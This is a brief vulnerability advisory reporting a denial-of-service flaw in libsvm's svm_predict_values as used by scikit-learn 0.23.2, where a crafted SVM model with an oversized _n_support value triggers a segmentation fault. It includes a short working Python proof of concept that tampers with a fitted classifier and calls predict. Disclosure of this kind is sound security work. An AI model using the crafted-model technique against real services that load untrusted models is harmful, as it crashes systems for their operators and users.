SciKit-Learn 0.23.2 Denial Of Service

                							

                [Description]

svm_predict_values in svm.cpp in  Libsvm  v324, as used in scikit-learn
0.23.2 and other products, allows attackers to  cause a denial of service
(segmentation fault) via  a crafted model SVM (introduced via  pickle,
json, or any other model permanence technique) with a large value in the
_n_support array.

Editor's note - Steps/Code to Reproduce

from sklearn import svm
from sklearn import datasets


if __name__ == '__main__':
    X,y = datasets.load_iris(return_X_y=True)
    clf = svm.SVC()
    clf.fit(X, y)
    clf._n_support[0] = 1000000
    y_pred = clf.predict(X)
